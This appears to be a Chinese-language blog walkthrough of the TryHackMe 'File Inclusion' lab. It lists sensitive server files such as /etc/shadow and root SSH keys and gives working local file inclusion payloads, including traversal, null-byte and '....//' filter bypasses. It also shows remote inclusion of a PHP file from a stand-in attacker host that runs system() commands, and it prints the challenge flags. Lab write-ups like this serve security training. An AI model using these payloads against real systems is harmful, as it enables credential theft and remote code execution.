TryHackMe-File Inclusion练习

本文相关的TryHackMe实验房间链接:TryHackMe | Why Subscribe

路径遍历(目录遍历)

Location Description
/etc/issue 包含要在登录提示之前打印的消息或系统标识。
/etc/profile 控制系统范围的默认变量,例如导出(Export)变量、文件创建掩码 (umask)、终端类型、用于指示新邮件何时到达的邮件消息
/proc/version 指定 Linux 内核的版本
/etc/passwd 包含有权访问系统的所有注册用户信息
/etc/shadow 包含系统用户密码的信息
/root/.bash_history 包含 root 用户的历史命令
/var/log/dmessage 包含全局系统消息,包括系统启动期间记录的消息
/var/mail/root root 用户的所有电子邮件
/root/.ssh/id_rsa 服务器上的root 用户或任何已知有效用户的 SSH 私钥
/var/log/apache2/access.log Apache web服务器的访问请求
C:\boot.ini 包含具有 BIOS 固件的计算机的引导选项

本地文件包含

?file=../../../../etc/passwd

通过在过滤关键字的末尾使用空字节 %00 或使用访问当前目录技巧/.

相关payload可参考以下内容:

?file=/etc/passwd%00
?file=/etc/passwd/.

%00 技巧已修复,不适用于 PHP 5.3.4 及更高版本。

为了更清楚地理解访问当前目录技巧/.,我们可以查看以下例子:如果我们在文件系统中使用cd ..,我们将切换到上一级目录;如果我们使用的是cd.,我们仍然将停留在当前目录。

因此,当我们输入/etc/passwd/..时,我们将切换目录到/etc/,然后当我们输入/etc/passwd/.时,将停留在当前目录/etc/passwd(因为.指代的就是当前工作目录,所以并不会进行目录切换操作)。

../关键字被过滤

当我们输入http://webapp.thm/index.php?lang=../../../../etc/passwd时,如果收到如下错误提示:

Warning: include(languages/etc/passwd): failed to open stream: No such file or directory in /var/www/html/THM-5/index.php on line 15

这说明:../关键字被过滤了,当我们检查 include (language/etc/passwd)部分中的警告消息时,我们可以发现web应用程序使用空的字符串内容替代了../

我们可以使用一些技术来绕过上述过滤的限制,尝试使用以下payload:

?file=....//....//....//....//....//etc/passwd

这种方式被称为“双写绕过”。

双写绕过生效原因:PHP 过滤器仅匹配并替换它找到的第一个子集字符串 ../并且不做再次过滤,所以当双写绕过执行成功时,将留下下图所示的内容。

image

强制include函数从已定义的目录中读取目标文件

例如,如果 Web 应用程序要求用户提供一个必须包含指定目录的输入:http://webapp.thm/index.php?lang=languages/EN.php

为了成功利用此类情况下的文件包含漏洞,我们可以尝试在payload中包含指定目录,即:

?file=languages/../../../../../etc/passwd

远程文件包含

假设攻击者在自己的服务器上托管了一个 PHP 文件 http://attacker.thm/cmd.txt 其中 cmd.txt 包含一条打印消息 Hello THM。

<?PHP echo "Hello THM"; ?>

首先,攻击者注入恶意 URL,该 URL 指向攻击者的服务器,例如 http://webapp.thm/index.php?lang=http://attacker.thm/cmd.txt。如果没有输入验证,则恶意 URL 将传递到 include 函数中。接下来,Web 应用服务器将向恶意服务器发送 GET 请求以提取文件。因此,Web 应用程序将远程文件包含在 include 函数中,以在页面中执行 PHP 文件并将执行内容发送给攻击者。在我们的例子中,某处的当前页面必须显示 Hello THM 消息。

python3 -m http.server

 

挑战

Challenge-1

因为要POST上传,所以我们使用bp抓包上传吧

这里不知道为什么始终显示错误,所以就使用插件了

Max HacKBar(HackBar最新版要钱,可以去找旧版下载) 

这样的

POST传参 

 flag1:F1x3d-iNpu7-f0rrn

Challenge2 

这里显示要admin,而我们是Guest,所以我们要成为admin 

但Get和POST传参都不行

所以我们尝试继续修改cookie

 接下来我们用上面讲过的方法

../../../../etc/flag2%00

flag2:c00k13_i5_yuMmy1 

Challenge3

file=../../.././etc/flag3%00

这题get、post都可以,不过因为使用插件上传会进行url编码

所以只能抓包把%2500改为%00即可

 

flag:P0st_1s_w0rk1in9 

Challenge4

先将php代码写入cmd.txt

<?PHP 
echo system('hostname'); 
?>

 

python3 -m http.server 8080

http://10.10.109.26:8080/cmd.txt

flag:lfi-vm-thm-f8c5b1a78692 

答题:

 

相关推荐

  1. <span style='color:red;'>tryhackme</span>

    tryhackme

    2024-02-04 02:52:01      36 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-02-04 02:52:01       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-02-04 02:52:01       100 阅读
  3. 在Django里面运行非项目文件

    2024-02-04 02:52:01       82 阅读
  4. Python语言-面向对象

    2024-02-04 02:52:01       91 阅读

热门阅读

  1. 在 WSL Ubuntu 中安装 SSH 服务器,ssh连接wsl

    2024-02-04 02:52:01       44 阅读
  2. 假期作业2

    2024-02-04 02:52:01       48 阅读
  3. ArrayList的数据结构

    2024-02-04 02:52:01       51 阅读
  4. Mysql-备份与恢复

    2024-02-04 02:52:01       61 阅读
  5. C语言stderr、errno、strerror、perror

    2024-02-04 02:52:01       49 阅读
  6. Linux命令-arpd命令(收集免费ARP信息)

    2024-02-04 02:52:01       53 阅读
  7. 开发实践9_OnlinePlatform笔记

    2024-02-04 02:52:01       50 阅读
  8. 作业2024/2/2

    2024-02-04 02:52:01       52 阅读